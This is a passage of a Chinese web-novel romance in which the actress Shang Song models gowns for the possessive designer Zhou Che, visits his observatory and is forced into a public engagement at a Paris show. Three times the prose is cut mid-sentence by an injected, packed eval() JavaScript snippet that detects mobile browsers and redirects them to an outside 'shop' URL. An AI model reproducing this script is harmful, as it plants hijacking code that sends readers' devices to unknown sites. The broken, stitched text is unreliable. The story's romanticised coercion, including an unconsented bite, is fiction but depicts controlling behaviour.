她低头看着手里那张黑色的卡片,指腹摩挲过那个“MUSE”的字母。 “我去。” 祁演猛地转头,“商颂!你是不是浑?他在北京铺好了笼子等你,你还非要……” “祁演,这就是我要的。”商颂抬起头,“这不仅仅是为了我也为了你。虽然说这场直播跟我想的一样火了,但如果我们没能变现,这种热度撑不过三天。到时候我们还是要饿死,要被驱赶。” “周彻既然递了梯子,我就得爬。”她看着何叔,“告诉他,我提前到。” 那一夜,大理的风很大。 祁演没有再阻拦,也没有再骂人。他只是沉默地在那辆机车旁边抽了一整夜的烟。他知道商颂是对的,那种刻在骨子里的理智告诉他这是最好的选择。但他还是恨,恨自己的无能为力,恨商颂那种即便把尊严碾碎了也能笑着拼起来的狠劲。 飞机落地北京大兴机场的那一刻,商颂有些恍惚。 明明只离开了几周,却像是过了一个世纪。 没有媒体接机,没有鲜花拥簇。只有一辆黑色的保姆车安静地停在VIP通道口,接她直接去了三里屯的一处私人工作室。 那是周彻为“第十位缪斯”专门建立的独立设计中心。 整栋楼被玻璃幕墙包裹,像一块巨大的黑水晶。电梯直达顶层,门开的那一刻,商颂被眼前的一幕刺得眯起了眼。 几百平米的空间空空荡荡,没有员工,没有助手。 只有一盏巨大的聚光灯打在中央,照亮了那一排排被丝绒布罩着的礼服。以及坐在那个巨大的裁剪台后,正低头看着一张设计图的男人。 周彻。 他并没有像之前在大理时那样剑拔弩张。今天的他戴着一副金丝边眼镜,穿着一件黑色高领毛衣,外面套着一件剪裁考究的设计师款白大褂,手腕上依旧是那块昂贵的表,指间夹着一根裁缝用的软尺。 这样的他,不像那个杀伐果断的资本家,倒像是个温润如玉的艺术家。 听到脚步声,他甚至没有立刻抬头,只是手里拿着红蓝铅笔在图纸上勾勒了一下,声音平淡得听不出喜怒: “瘦了。” 商颂站在离他几米远的光圈边缘,手袋还未放下。 这句开场白并没有像以前那样激起她的应激反应。她甚至分不清此刻的自己到底是在按计划行事——利用这种颓败的消瘦来博取同情或引起愧疚;还是经历了那场废墟直播后,她心里那股气已经真的立了起来,让她不屑于再向任何人解释自己的苦难。 “瘦骨嶙峋,才撑得起那些所谓的‘高级感’,这不是时尚圈的铁律吗?”她语气平淡,没有在这个话题上纠缠,也没有趁机控诉在大理的遭遇。她就像个按时打卡的冷漠模特,放下包,径直向他走去,“衣服在哪?试装吧,我很忙。” 这种公事公办的疏离感,比歇斯底里的吵闹更让人不适。 周彻终于放下了笔,缓缓抬起头。 隔着镜片,那双狭长的眼眸深不见底。他站起身,绕过宽大的操作台,一步步走到她面前。 商颂下意识地肌肉绷紧,但脚下却像是生了根,一步未退。 退,是示弱;不退,是对峙。她把自己钉死在原地,任由他的影子覆盖下来。 “急什么。” 周彻并未像情人般去牵她的手,而是一把扣住了她的手腕。指腹带着不容置疑的力度,甚至可以说是粗暴地用指节卡量了一下她的腕骨。 “只剩一把骨头了。”他眉头微皱,语气里终于染上了一丝烦躁,“你在大理除了把自己弄得人不人鬼不鬼,就不会稍微照顾一下自己?” “如果不把自己逼到绝境,怎么演得好那个‘被抛弃的疯女人’呢?周大少,这不是你给我的人设吗?” 商颂迎着他的目光,眼底一片荒芜的平静。她没有挣扎,任由他捏着自己的骨头,仿佛这具身体只是她的一件工具,“现在的商 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182066|196108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颂,破碎、敏感、神经质。如果有其他更听话、更圆润的模特,我也相信以你的财力随时能换人。毕竟,没人喜欢抱着一把硌手的骨头。” 这话听着像是赌气的“以退为进”,可配合她那毫无波澜的语调,又让人觉得她是真的不在乎了。她是真的做好了随时被再次抛弃的准备。 “可我就要这把骨头。” 这句话说得太轻,太暧昧,甚至带着点病态的执着。周彻松开手,转身走到那一排衣架前,伸手拽下了其中一个衣架上的黑丝绒罩布。 “哗啦”一声。 那件礼服暴露在空气中。 商颂呼吸一滞。 太美了。那是一件用极致的黑色天鹅绒和深红色的重磅真丝拼接而成的礼服。上半身是结构感极强的胸衣设计,模仿了中世纪的刑具风格,带着金属的支撑条和类似荆棘般的刺绣纹路;下半身的裙摆极其巨大,像是大马士革玫瑰层层叠叠的绽放,又像是流淌了一地的血。 而在裙子的腰部,有一处极具视觉冲击力的镂空设计,周围镶嵌着细碎的红宝石,像是一道尚未愈合的伤口。 周彻的手指轻轻划过那冰凉的布料,“这件衣服叫‘BrokenPoet’(破碎的诗人),你是它的第一位,也是唯一一位试穿者。” 商颂看着那件衣服,眼神却逐渐变得复杂。 这风格……这配色……甚至是那个玫瑰与荆棘的主题,太熟悉了。 这是岑星最喜欢的元素。 岑星当年学古典钢琴,最爱的便是这种充满了古典悲剧美学的设计。周彻那时候为了讨好岑星,没少陪她去看这种风格的画展和歌剧。而且那胸衣的尺寸……看起来那么纤细,那么脆弱,完全符合岑星那种被娇养长大的易碎感。 商颂的指甲掐进了掌心。 原来如此。 所谓“为你量身定做”,不过是周彻想在她身上,看到岑星那个未能完成的梦想。毕竟岑星是端庄的大家闺秀,不可能来走这种带有情|色与血腥意味的秀。而她商颂,作为一个以艳丽和野心著称的女星,正好可以作为这件艺术品的肉|体容器,替他那白月光圆梦。 他甚至为了这个目的,不惜把这个牌子命名为“第十位缪斯”。那是萨福,是求而不得。周彻对岑星求而不得,所以要在这件衣服上找补回来。 “真是一件完美的‘情书’。”商颂嘴角扯出一个难看的笑容,“周彻,你为了岑星,还真是煞费苦心。这么好的衣服,穿在我这个‘替代品’身上,不怕脏了你的设计?” 周彻正在整理裙摆的手猛地一顿。 他抬起头,眼神里那种伪装的平静瞬间碎裂,取而代之的是一种难以置信的恼怒,“你说这是为了谁?” “还需要我说破吗?”商颂走过去,指尖有些发抖地触碰着那荆棘般的刺绣,“这种风格,这种尺寸……哪一点是为了我商颂设计的?我是俗人,我喜欢金,喜欢亮片,喜欢一切把‘老娘有钱’写在脸上的东西。这种苦大深仇的艺术品,明显是你那是那位不食人间烟火的白月光的菜。” “我只不过是你找来的模特,一个人形衣架,用来展示你对她的深情,对吗?” 周彻死死地盯着她,像是要看穿她的脑子到底是怎么长的。 他那双常年握笔和握枪都稳如磐石的手,此刻竟然有些颤抖。 他想告诉她,这件衣服上的每一根线条,都是按照她商颂的身材数据画的。那道腰部的镂空,是为了露出她左腰侧那一枚小小的红痣;那荆棘的纹路,是因为他见过她在大雨里即使浑身是刺也要挺直脊背的样子;那个裙摆的血色,是他无数次梦里想要把她撕碎揉进骨血里的颜色。 这件衣服是按照她的灵魂缝制的。什么岑星,什么白月光,在这种浓烈到极致的设计面前,寡淡得像一杯白水。 但他不能说。 说了,就是认输。说了,就是承认这三年里,早已动心的那个输家是他周彻。 他的自尊,他的控制欲,甚至是他之前那些把她踩进泥里的暴行,都让他无法在这个时刻低头承认爱意。 31. 第 31 章 “你很有自知之明。” 周彻深吸一口气,重新戴好那层面具,眼神变得凉薄无比。 “既然知道自己只是个衣架,那就做好衣架的本分。去试衣间,穿上它。” 商颂的心像是被这一句话捅了个对穿。 哪怕已经做好了准备,哪怕已经在大理经历了一次绝望,但在亲耳听到他承认的那一刻,她还是感到了窒息。 “好。”她听到自己冷静的声音,“我穿。” 她拿着那件沉重的礼服,转身走向试衣间。 “等等。” 周彻突然开口,声音有些沙哑。 商颂回头。 周彻大步走过来,一把从她手里夺过礼服,“太重了,这裙撑复杂。你一个人穿不了。” “怎么,周大少要亲自伺候更衣?”商颂挑眉。 “设计还没定版,我需要在你身上做立体裁剪。”周彻的借口拙劣得有些好笑,但他没有给她反驳的机会,推着她走进了那个四面都是落地镜的巨大试衣间。 门关上的那一刻,狭小的空间里充满了紧绷的情欲张力。 商颂背对着他,拉下了自己衬衫的拉链,露出大片雪白的背脊。那几周的流浪生活确实让她瘦了,肩胛骨像两只振翅欲飞的蝴蝶骨突起,上面还残留着几道没消退的抓痕——那是大理那种粗糙的床单留下的印记,或者是摩托车震动时的摩擦伤。 周彻看着那些痕迹,眼神变得极度危险。 他粗暴地把那件衬衫扯下来扔在地上,然后拿起那件带有金属骨架的胸衣,贴上她冰凉的肌肤。 “手抬起来。”他命令道。 商颂照做,像个没有生命的玩偶。 束腰勒得很紧,那是极端的尺寸,勒得商颂倒吸一口冷气,“太紧了,这尺寸真的是正常人穿的?” “这不就是你要的吗?”周彻在她身后,双手用力拉紧背后的系带。他的身体紧紧贴着她的背,她甚至能感觉到他胸膛里那剧烈的心跳。 “你说得对,岑星很瘦。如果你连这都穿不进去,还当什么代言人?” 随着他的用力,束腰严丝合缝地贴合了她的身体。奇怪的是,明明嘴上说着是岑星的尺寸,但这件衣服在每一个弯道、每一处起伏上,都契合商颂得可怕。 胸口的承托刚刚好,腰部的收紧恰到好处,甚至连那裙摆长度都是为她穿上这双红底高跟鞋后量身定做的。 商颂看着镜子里的自己。 这件衣服像是从她身体里长出来的。黑色的天鹅绒衬得她皮肤惨白,红色的丝绸如同流动的血,荆棘的刺绣缠绕着她的胸口,那种充满了痛苦、欲望、危险的美,简直是为她而生的。 这怎么可能是给岑星的?岑星撑不起这种带着毁灭欲的美。 商颂有些恍惚。她抬头,在镜子里和身后的周彻对视。 周彻并没有看衣服。他在看她的脖颈,看着那跳动的青色血管。他的眼神不像是在看一个替代品,倒像是一头正在忍耐着不咬断猎物喉咙的饿狼。 他的一只手绕到前面,并未去整理领口,而是有些颤抖地悬停在她锁骨那个小小的凹陷处。 “美吗?”他低声问,声音就在她耳边。 “衣服很美。”商颂嘴硬,“可惜人是假的。” 周彻冷笑一声。 他突然低头,在那块被束腰挤压得有些充血的皮肤上狠狠咬了一口。 “嘶!周彻你疯了?!”商颂痛呼,想挣扎。 周彻却按住了她,没松口,也没更进一步。他只是用牙齿磨了磨那块嫩肉,直到那里留下了一个红色的印记。 “衣服是真的,痛也是真的。” 周彻抬起头,眼神阴鸷地看着镜子里那个被荆棘与玫瑰包裹的女人,用只有两个人能听到的声音说道: “商颂,就算这衣服是为了谁做的。这一刻,在我手里的只有你。” “上了台,别给我丢脸。我要让所有人都看见,这件衣服穿在‘我周彻的女人’身上,是什么样子。” 他没承认是为她做的,但他也否定了岑星的存在。 商颂喘息着,看着镜子里那个仿佛从地狱归来的艳鬼。她突然明白,这件衣服到底叫什么了。 它不叫“破碎的诗人”,也不叫“第十位缪斯”。 它是她和周彻这三年互相折磨、互相撕咬、最后不得不缝合在一起的伤疤。 “好。”商颂整理好情绪,“我走。” 她不知道,此时此刻,在这个房间角落的一堆废稿里,压着一张最初的设计手稿。 那张纸已经被揉皱了很多次。上面画着这件红黑色的礼服,而旁边标注的灵感来源处,只有两个用德语写的潦草单词: “MeineSucht”(我的毒瘾)。 不是岑星。 那是商颂在他生命里的注脚。 “先去休息吧。”周彻让她换下礼服,又吩咐,“今晚,我带你去看一样东西。一样无论是祁演还是伯雪寻永远也给不了你的东西。” 一辆黑色的宾利悄无声息地停在别墅门口。商颂换上了一件简单的黑色连衣裙,拉开车门坐了进去。车内没有周彻,只有一位面无表情的司机。 车子没有驶向市中心,而是一路向北,穿过沉睡的街巷,最终停在了一座不对外开放的私人天文台脚下。 古老的石砌建筑,穹顶在夜色中呈现出优美的弧线。周彻就站在天文台的入口处等她,穿着一件相对休闲的黑色高领羊绒衫,整个人看起来少了一分凌厉,多了一丝属于暗夜的温柔。 “冷吗?”他见她只穿着单薄的连衣裙,便脱下自己的外套,自然地披在了她的肩上。 商颂没有拒绝,只是拢了拢那件过于宽大的外套。 周彻领着她,沿着旋转的铁艺楼梯,走上了天文台的最高层。 巨大的天文望远镜,如同一个沉默的巨人,静静地指向浩瀚的星空。房间的穹顶,是整块的弧形玻璃,可以电动开启,将整片东临的夜空,都纳入怀中。 “这里,”周彻走到控制台前,输入了一串复杂的密码,天文台的穹顶缓缓地向两侧滑开,“是我送给我自己的,二十岁的生日礼物。” 璀璨的灯火瞬间被隔绝在外,只剩下纯粹的、深邃的、如同黑色丝绒般的夜幕,和那片洒满了钻石碎屑的璀璨银河,毫无遮挡地呈现在眼前。那种壮丽与静谧,瞬间就攫取了商颂的全部呼吸。 周彻走到那台巨大的望远镜旁,熟练地调试着焦距和角度。 “每个人都有自己逃离世界的方式。”他的声音在寂静的穹顶下,显得有些空旷,“有的人选择音乐,有的人选择酒精,而我……” 他侧过身,朝她伸出手,“我选择,看星星。” 商颂迟疑地走过去,将眼睛凑到了望远镜的目镜前。 下一秒,她倒吸了一口凉气。 一片无法用任何语言形容的、瑰丽到极点的宇宙奇观,毫无预兆地撞入了她的视野。 那是一片巨大的、由无数新生恒星的光芒和周围的星际气体、尘埃共同构成的发射星云。它的核心,是几颗炽热的、年轻的蓝色恒星,它们释放出的强烈辐射,将周围的氢气云电离,使 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190503|196108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其发出瑰丽的、如同玫瑰花瓣般深浅不一的红色光芒。 而在这片炽热的红色背景下,点缀着无数由尘埃形成的、暗色的剪影,以及由其他元素构成的、幽灵般的蓝色与绿色星云。 整个画面,如同一朵盛开在宇宙深处的、巨大而凄绝的玫瑰。美丽,磅礴,却也因为那遥不可及的距离,而显得冰冷,死寂。 “玫瑰星云,NGC2237。”周彻的声音在她耳边响起,“距离地球约5200光年,直径约130光年。它是一个恒星的‘育儿所’,无数新的太阳,正在那片我们看不见的尘埃背后诞生。同时,它也是一个巨大的‘坟场’。那些点亮它的蓝色恒星,寿命极短,在燃尽自己之后,会爆炸成超新星,最终化为黑洞或者中子星,将周围的一切都吞噬。” 他顿了顿,声音里带上了一丝孤独的自嘲。 “很像我们,不是吗?” “用尽全力地燃烧,发光,吸引所有人的目光。但最终的结局,不过是在一片绚烂之后,归于永恒的死寂和黑暗。” 商颂久久地凝视着目镜里那片壮丽而冰冷的星云,没有说话。她终于有些明白,周彻为什么会痴迷于此了。 这片星空,就是他内心世界的投射。瑰丽,庞大,掌控着无数星辰的生杀大权,却也孤独到,连一丝真正的温暖都无法触及。 “美吗?”周彻走到她身边,与她并肩而立,望着那片虚假的星空。他没有再试图触碰她,“只要你待在我身边,整个宇宙,我都可以摘下来送给你。无论是这片玫瑰星云,还是更遥远的其他星系,只要你想看。” 他抬手,似乎想触碰她的头发,最终却只是落在了冰冷的望远镜镜筒上。 “这些是他们永远也给不了你的。” 是啊。他给不了。 泪水,毫无预兆地从她的眼眶中决堤而出。不是因为悲伤,也不是因为感动,而是一种对命运那无可奈何的巨大鸿沟的绝望。 周彻看着她无声的泪水,脸上没有胜利的喜悦,只有一种仿佛与她共感的疲惫。他终于还是伸出手,不是拥抱,也不是擦拭,只是带着一种怜惜的温柔,覆在了她的头顶。 “商颂,”他的声音很轻,“别哭了。妆会花。” 这句轻飘飘的话,比任何威胁都更沉重,像最后一根稻草,彻底压垮了她。她再也支撑不住,身体一软,无力地靠在了他冰冷却也是此刻唯一能倚靠的胸膛上。 那一晚,商颂不知道自己是怎么回到别墅的。她像是做了一个很长、很长的梦。梦里,她就飘浮在那片玫瑰星云里,周围是无数璀璨的新生恒星和濒死巨星。很美,也很冷。她伸出手,想抓住什么,却只抓到一把冰冷的、无法停留的星尘。 她看到周彻就站在星云的中心,对她微笑,对她说:“看,这都是你的。” 然后,她看到伯雪寻。他就站在那间漏水的出租屋窗口,怀里抱着那把旧吉他,对着窗外,轻轻地哼唱着那首未完成的歌。没有星空,只有城市昏黄的路灯,和楼下夫妻永无止境的争吵。 但他的歌声里,有温度。 而就在这一周后的首秀日,也就是三天后。商颂并不知道,这场T台不仅是她的复出之战,更是一场真正让她从“资源咖”蜕变为“无法被取代的顶级icon”的风暴眼。 与此同时,远在韩国首尔的练习室里,伯雪寻看到了网上的消息,将那个名为“MUSE”的品牌记在了心里;而在大理的废墟里,祁演背着那把没被没收的吉他,搭上了一辆前往北京的运煤货车。 既然是最后一搏,所有人都在往风暴中心赶。 32. 第 32 章 巴黎,场馆外。 三千多位嘉宾,正陆续抵达这座为“第十位缪斯”而临时搭建的玻璃宫殿。无论他们的身份是叱咤风云的国际巨星、掌控经济命脉的商业巨擘,还是时尚圈内一言九鼎的教父教母,此刻都必须经历堪比机场登机般繁琐严苛的安检流程,交出所有电子设备。 金钱在此刻失效,一张千金难求的邀请函,不过是进入这场时尚圣殿的第一道门槛,也是签下一份“绝对臣服”契约的凭证。 晚七点二十分。 内部突然泛起了一层奇异的红光。 那是从玫瑰星云光谱中提取出的色调,将所有的水晶座椅、名贵的皮草和宾客们的脸庞,都染上了一层神秘、温暖却又带着一丝危险气息的暧昧色调。 空气里原本细碎的交谈声瞬间消失。 “唰。” 全场灯光骤灭。绝对的黑暗降临。 紧接着,一阵空灵的电子音律在黑暗中响起,像是一颗孤寂的卫星在真空中发出的讯号。 “Lookup.” 不知是谁低呼了一声。 众人仰头。只见那原本漆黑的穹顶之上,浩瀚宇宙毫无预兆地降临。 那不是普通的投影,而是裸眼3D技术堆叠出的亿万星辰。镜头在星海中疯狂穿梭,最后定格在一团巨大、妖冶、呈现出深红色层叠状的星云上——麒麟座的玫瑰星云(NGC2237)。 它在这个黑色的封闭空间里永恒盛放,由氢气和尘埃构成,既像鲜花,又像伤口。 周彻那清冷、磁性,带着一丝并没有完全藏好的偏执声音,透过顶级的环绕音响,在每个人耳边炸响: “这是世间最残酷也最美好的玫瑰。以星辰为泥,银河滋养。它永远不会枯萎,因为它在那片名为‘虚无’的宇宙里,甚至不需要氧气。” 紧接着,画面切换。 天蝎座腹地的蝴蝶星云(NGC6302)出现了。它像一只由濒死恒星喷射出的炽热气体构成的巨大浪蝶,拖着数光年长的尾翼,即使知道前方是会将它吞噬的高温,依然以一种缓慢、坚定、充满宿命感的姿态,向着那朵红玫瑰移动。 就在蝶翼触碰到花瓣,毁灭即将发生的那一瞬间—— “嗡!!!” 一道刺目的纯白光束,如利剑般撕裂了黑暗,直直地打在T台入口。 鼓点如雷。心脏共振。 大秀开场。 先是知名超模Barbara。她穿着那件红色的荡珠礼裙,身上的珠串随着步伐发出细微的沙沙声,像是在下雨。她代表着玫瑰的初绽,热烈、直接,充满力量。 商颂首次出场,身上那件“破碎的诗人”礼服,将隽永的阿玛尼红与低调的黑色拼接,含苞待放的花蕾刺绣从腰际蔓延至裙摆,如同在吟唱一首对自然的颂歌。 Kerr则身着极简的薄纱长裙,无数道精细的褶裥交织出流光溢彩的视觉效果,立体的玫瑰花藤从肩头攀附至裙角,熠熠生辉,甚至还用丝绒做成了一圈精致的玫瑰围脖,美得不可方物。 紧接着是NIKI。她身上那套镂空的黑色蕾丝如同黑夜的网,锁骨处那一朵用黑色奥根纱盘扎的玫瑰,像是枯萎后的灰烬。 东西方元素在这里剧烈碰撞。傲骨红梅与哥特剪裁,海水江崖纹与重金属朋克。周彻将苏绣的细腻藏在锋利的廓形里,就像他在那具绅士的皮囊下藏着的疯魔灵魂。 每一位模特的走过,都像是在为最后的献祭做铺垫。 嘉宾们的呼吸越来越重。所有的铺垫都已经完成,那句印在邀请函上的PLETEME,BODYANDSOUL】(完整我,身与心),此刻像是一句咒语,盘旋在每个人头顶。 所有人都知道,今晚压轴的应该是商颂。 “嗡!” 最后一位模特退场。 灯光再次全灭。 那种让人头皮发麻的安静仅仅持续了两秒。 紧接着,一段被极度解构的《Style》前奏响起。熟悉的流行旋律被撕碎,混入了重工业的电子噪音和沉重的心跳声。 与此同时,通风系统中释放出了今晚真正的“主角”——晚香玉。 那种浓郁到霸道、甜到发腥、带着强烈肉|欲感的香气,瞬间淹没了整个空间。晚香玉,夜之女王,花语是“危险的快乐”。 在这视觉剥夺、听觉迷幻、嗅觉沉沦的三重夹击下。 她来了。 商颂踏着那个仿佛踩在人神经线上的鼓点,逆着一道红色追光,走了出来。 全场倒吸一口冷气。 她穿着那件“红蚀”。 周彻最后赶制出来的婚纱。 礼裙的右半身是极致的圣洁。层层叠叠的淡粉色轻纱堆积如云霞,无数朵立体的网纱玫瑰在上面绽放,手臂被薄纱笼罩,宛如神话里的维纳斯。 但左半身——却是地狱。 那里的布料像是被大火烧过、被强酸腐蚀过。深红色的肌理感面料紧紧吸附在她的皮肤上,线条如刀锋般凌厉。高开叉的裙摆撕裂到大腿根部,每走一步,那条白得发光的大腿就在红色的布料下若隐若现,而她纤细的脚踝上,没有穿鞋,只缠绕着一条振翅欲飞的紫蝶脚链。 她是圣女,也是娼|妓。 她是含苞待放的纯情,也是败落前夕的靡烂。 这不仅是一件衣服,这是周彻人格分裂的具象化。 商颂的黑发被盘成了一个极简的发髻,左鬓插着数朵滴血般的鲜红玫瑰,右侧则垂下一条长长的红色纱幔。 她赤着脚。 脚掌踩在T台上铺满的黑色砂砾上。砂砾硌着她的脚心,那种痛感顺着神经直冲天灵盖,让她时刻保持着极其可怕的清醒。 她没有走那种凌厉的剪刀步。 她用了一种独特的交叉步。 每一步落地都极其沉重,像是要把T台踩穿。随着她的走动,身后那条红色的纱幔卷起地上的花瓣和砂砾,形成了一股红色的风暴。 最要命的是她的眼神。 她没有看镜头,没有看那些身价亿万的观众。 她的眼神是空的,却又是媚的。那种濒死之前的回光返照,那种被献祭之前的最后一眼回眸。她的嘴角勾着一抹似有若无的笑,像是嘲讽这满场的看客,又像是嘲讽那个逼她穿上这件衣服的男人。 她在勾引所有人,又在拒绝所有人。 这一刻,没有人再记得商颂。商颂太完美了,完美得像那个虚假的玫瑰星云。 而商颂,她是那只有着真实体温、真实痛感、正在燃烧的蝴蝶。 走到T台尽头。 那里没有镜子,只有一片虚无的黑暗。 商颂停下脚步。 原本这里应该有一个重音鼓点,让她完成定点pose。 但突然,不知是音响故障还是故意安排,那个沉重的背景音乐戛然而止。 静音。 全世界仿佛都聋了。 商颂的心脏猛地收缩。失去节奏的指引,在这个极度高压的环境下,人会本能地感到恐慌。她站在那里,红纱垂落,那一瞬间,她看起来那样孤单,像是真的被全世界遗弃了。 就在这千钧一发的尴尬时刻。 T台入口处,那个一直隐藏在黑暗中的男人,动了。 周彻走了出来。 他没有穿设计师谢幕时该穿的体面衣服。他的衬衫扣子开着两颗,那是刚才他在后台因为紧张和亢奋而扯开的。 他踩着商颂走过的路,踩着那些被她卷起的红花瓣。 那一头长发随着他的大步流星而向后飞扬。他身上那股浓烈的圣罗兰男鸦香水味,混杂着烟草和那种因为长期处于上位者而特有的压迫感,像是一把尖刀,刺破了满场甜腻的晚香玉味道。 他走得很快,带着一种要去抢亲或者是去抓捕逃犯的凶狠。 全场死寂。只有他皮鞋踩在玻璃T台上的“哒哒”声。 他走到了商颂面前。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195574|196108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隔着一步的距离。 两人的目光在空气中撞击。 周彻看到了她眼底深处那因为音乐消失而产生的瞬间慌乱,也看到了她强撑着不让自己倒下的那股韧劲。 还有她脚底可能已经被砂砾磨破了的伤。 那一刻,周彻眼里的疯狂达到了顶峰。 他突然笑了一下。那个笑容邪气四溢,没有任何歉意,只有一种找到了“共犯”的快意。 他抬手,“唰”的一下,当着几千人的面,彻底扯掉了脖子上那根本来就摇摇欲坠的银灰色领带,随手扔在地上。 然后,他向她伸出了左手。 手掌摊开,掌纹清晰。 商颂愣住了。按照流程,这时候应该是设计师揽着模特的腰致谢。 但这只手,是邀请,也是命令。 她几乎是下意识地,带着肌肉记忆般的顺从,伸出了自己的左手,搭在了他的掌心。 手指微凉。 就在皮肤接触的那一刹那,周彻的手猛地收紧,死死地握住了她。 紧接着,他的右手像是变魔术一般,从西裤口袋里掏出了一个东西。 在聚光灯重新打在两人身上的那一秒。 一点璀璨到刺眼的火彩在周彻指尖炸开。 是一枚切割完美的钻戒。 周彻没有任何铺垫,没有单膝下跪,甚至没有一句“嫁给我”。他用一种霸道、随意、甚至带着点强买强卖的姿态,将那枚钻戒,狠狠地推入了商颂左手的无名指。 一推到底。 直接卡在了指根。 那是VenaAmoris(爱之脉)的起点,传说直通心脏。 但在周彻手里,这更像是一个带刺的项圈,这次锁的不是脖子,是连着心的那根血管。 “轰!!!” 全场在这一刻彻底炸了。 前排那些一向挑剔刻薄的时尚女主编们此时竟顾不得仪态,有人捂住嘴倒吸冷气,有人激动得站起身来。甚至能听到有人在尖叫嘶吼,或许是某种目睹了极致美学与暴力占有后,所产生的本能颤栗。 这也太疯了!这也太赤|裸了! 这不是求婚,这是一场当众的“处刑”与“标记”。 周彻是在向全世界宣告: 你看,这是我的缪斯。 我的缪斯不需要飞,我把她锁死了。 商颂呆呆地看着自己手上的戒指。太大了,太沉了,沉得她几乎抬不起手。 周彻没有给她思考的时间。 他根本不在乎台下那些人是怎么想的,只是紧紧握着商颂戴着戒指的手。 他没有让商颂转身接受欢呼。 他直接拉着她,像个不讲理的暴君拖着他的战利品,又像个私奔的浪子带着他的情妇,转身就走。 甚至在即将踏入后台阴影的那一刻,他停下脚步。 他依然背对着观众,一只手插在口袋里,长发侧披在肩头,另一只手高高举起那只和商颂紧紧十指相扣的手。 那是一个敷衍却又傲慢的鞠躬。 而在他身边的商颂,被动地跟着他弯下腰。那件名为“红蚀”的裙摆在地上铺开,像是一滩干涸的血。 在那个瞬间,所有的摄像头都定格了这一幕: 红色的玫瑰、黑色的背影、璀璨的钻戒,以及那两只死死纠缠、分不清是爱还是恨的手。 这就是“第十位缪斯”的结局。 一场荒诞的婚礼,一次盛大的绑架。 在所有人看不见的阴影里,商颂感觉到周彻的手心全是冷汗。 他在发抖。 这个不可一世的男人,在给替身戴上戒指的那一刻,究竟是在想彻底埋葬不为人知的过去,还是在害怕手里这只鸟也会有一天飞走? 商颂不知道。 她只知道,无名指上的戒指很凉。而她的脚底很疼。 这就够了。 这场戏,她陪他演到了最后。 33. 第 33 章 T台入口那片红雾与黑暗的交界处,如同一个世界的豁口。 当周彻牵着商颂僵硬的手,以一种绑架的姿态消失在那片豁口之后,后台彻底引爆了一场远比秀场本身更混乱、更失控的风暴。 灼热、刺耳、令人晕眩。闪光灯以前所未有的密度疯狂爆闪,连成一片没有尽头的白昼,将这方寸后台变成了审判的刑场。 无数的记者、时尚博主、品牌高层从各自的座位上弹起,不顾保安的阻拦,疯狂地朝着后台涌来。尖叫声、质问声、相机快门声汇成一股要将人吞噬的音浪。 “周先生!请问刚才T台上的举动是正式求婚吗?” “商颂小姐!请问你接受了吗?那枚钻戒的克拉数是多少?” “这是否意味着‘第十位缪斯’与商颂的合作,将有更深层次的绑定?” 周彻置身于这场风暴的风眼,从容得令人发指。他脸上依旧挂着那副漫不经心的笑容,另一只手甚至还有闲心插在西裤口袋里。他没有理会任何人的提问,只是用自己的身体,为商颂隔开那些几乎要戳到脸上的镜头和话筒,那姿态,与其说是保护,不如说是一种宣告主权的圈地行为。 一众黑衣保镖早已等在出口,他们迅速组成一道人墙,将汹涌的人潮死死地挡在外面。一行人快步穿过长长的走廊,最终拐进了一条与媒体区完全隔绝的VIP通道。尽头,是一间只属于周彻个人的专属休息室。 门在身后重重关上,瞬间隔绝了外界所有的喧嚣。 世界,死一般的寂静。 商颂猛地甩开他的手,踉跄着后退几步,背脊重重地撞在冰冷的墙壁上。她大口地喘着气,胸口剧烈起伏,那双刚刚在T台上还潋滟生光的眼睛,此刻却死死地瞪着眼前的男人。 周彻却像是没看到她眼中的恨意,他慢条斯理地解开颈间那条早已松垮的领带,随手扔在沙发上,然后走到吧台前,为自己倒了一杯威士忌,加了两块冰。冰块与玻璃杯碰撞,发出清脆的声响。 “喝一杯?”他甚至还举杯朝她示意了一下,“庆祝一下,我的缪斯,今晚一战封神。” “周彻。”商颂的声音嘶哑,“把它,拿下来。” 她举起自己的左手,那枚硕大的钻戒在休息室柔和的灯光下,依旧闪烁着冰冷而刺眼的光芒。 “拿下来?”周彻像是听到了什么有趣的请求,他抿了一口酒,缓缓走到她面前。 他抬起手,不是去摘那枚戒指,而是用指尖带着一种怜悯的温柔,拂过她还在微微颤抖的嘴唇。 “亲爱的,”他的声音压得很低,“全世界,都看到我为你戴上了。现在摘下来,是不是太不给我面子了?” 